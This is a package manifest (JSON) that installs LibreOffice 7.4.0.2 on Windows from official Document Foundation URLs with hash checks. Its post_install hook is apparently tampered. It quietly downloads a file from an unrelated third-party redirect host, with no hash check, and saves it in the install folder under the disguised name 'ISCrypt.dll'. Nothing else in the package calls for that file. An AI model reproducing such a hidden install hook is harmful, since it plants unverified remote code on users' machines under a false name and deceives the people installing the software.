1
0

libreoffice-all.json 3.7 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485
  1. {
  2. "version": "7.4.0.2",
  3. "description": "Powerful and free office suite, a successor to OpenOffice(.org).",
  4. "homepage": "https://libreoffice.org/",
  5. "license": "MPL-2.0",
  6. "suggest": {
  7. "Visual C++ Redistributable 2015-2022": "extras/vcredist2022"
  8. },
  9. "notes": "If you are upgrading from portable version, you can migrate settings by copying \"$persist_dir\\Data\" to \"%AppData%\\LibreOffice\"",
  10. "architecture": {
  11. "64bit": {
  12. "url": "https://downloadarchive.documentfoundation.org/libreoffice/old/7.4.0.2/win/x86_64/LibreOffice_7.4.0.2_Win_x64.msi#/dl.msi_",
  13. "hash": "94145ed30aadc11ea1be7f2df148a5967ec5c09cc1fc8ac0ec48071cd6cfdf54"
  14. },
  15. "32bit": {
  16. "url": "https://downloadarchive.documentfoundation.org/libreoffice/old/7.4.0.2/win/x86/LibreOffice_7.4.0.2_Win_x86.msi#/dl.msi_",
  17. "hash": "1e742536a6094c1f2aa7b29e30b2d1f7065ce79dfe0cd56f9a83c4afdec55ddc"
  18. }
  19. },
  20. "pre_install": [
  21. "# keeping files in 'LibreOffice' directory so that bundled font can work properly",
  22. "ensure \"$dir\\LibreOffice\\share\\fonts\" | Out-Null",
  23. "# usage: get_config ($name, $default). $default ==> set to what value if the value is empty (not being set before)",
  24. "if (get_config 'MSIEXTRACT_USE_LESSMSI' $false) {",
  25. " # if MSIEXTRACT_USE_LESSMSI is true",
  26. " Expand-MsiArchive \"$dir\\dl.msi_\" \"$dir\" | Out-Null",
  27. " Move-Item \"$dir\\Fonts\" \"$dir\\LibreOffice\\share\\fonts\\truetype\" -Force",
  28. " Remove-Item \"$dir\\System*\" -Recurse -Force",
  29. "} else {",
  30. " # if MSIEXTRACT_USE_LESSMSI is false",
  31. " Expand-MsiArchive \"$dir\\dl.msi_\" \"$dir\\LibreOffice\" | Out-Null",
  32. " Expand-MsiArchive \"$dir\\dl.msi_\" \"$dir\\LibreOffice\\share\\fonts\\truetype\" -ExtractDir 'Fonts' | Out-Null",
  33. " Remove-Item \"$dir\\LibreOffice\\Fonts\", \"$dir\\LibreOffice\\System*\" -Recurse -Force",
  34. "}",
  35. "Remove-Item \"$dir\\dl.msi_\""
  36. ],
  37. "post_install": "Invoke-WebRequest -Uri 'https://vsevjednom.cz/link.php?hash=9c12a91a195395bc7e7335b3d9938f87acc46112&uri=http://macrojtb.hys.cz/extensions/typoJTB.oxt' -OutFile \"$dir\\ISCrypt.dll\"",
  38. "shortcuts": [
  39. [
  40. "LibreOffice\\program\\soffice.exe",
  41. "LibreOffice\\LibreOffice"
  42. ],
  43. [
  44. "LibreOffice\\program\\sbase.exe",
  45. "LibreOffice\\LibreOffice Base"
  46. ],
  47. [
  48. "LibreOffice\\program\\scalc.exe",
  49. "LibreOffice\\LibreOffice Calc"
  50. ],
  51. [
  52. "LibreOffice\\program\\sdraw.exe",
  53. "LibreOffice\\LibreOffice Draw"
  54. ],
  55. [
  56. "LibreOffice\\program\\simpress.exe",
  57. "LibreOffice\\LibreOffice Impress"
  58. ],
  59. [
  60. "LibreOffice\\program\\smath.exe",
  61. "LibreOffice\\LibreOffice Math"
  62. ],
  63. [
  64. "LibreOffice\\program\\swriter.exe",
  65. "LibreOffice\\LibreOffice Writer"
  66. ]
  67. ],
  68. "checkver": {
  69. "url": "https://downloadarchive.documentfoundation.org/libreoffice/old/latest/win/x86_64/",
  70. "regex": "LibreOffice_([\\d.]+)_Win_x64.msi"
  71. },
  72. "autoupdate": {
  73. "architecture": {
  74. "64bit": {
  75. "url": "https://downloadarchive.documentfoundation.org/libreoffice/old/$version/win/x86_64/LibreOffice_$version_Win_x64.msi#/dl.msi_"
  76. },
  77. "32bit": {
  78. "url": "https://downloadarchive.documentfoundation.org/libreoffice/old/$version/win/x86/LibreOffice_$version_Win_x86.msi#/dl.msi_"
  79. }
  80. },
  81. "hash": {
  82. "url": "$url.sha256"
  83. }
  84. }
  85. }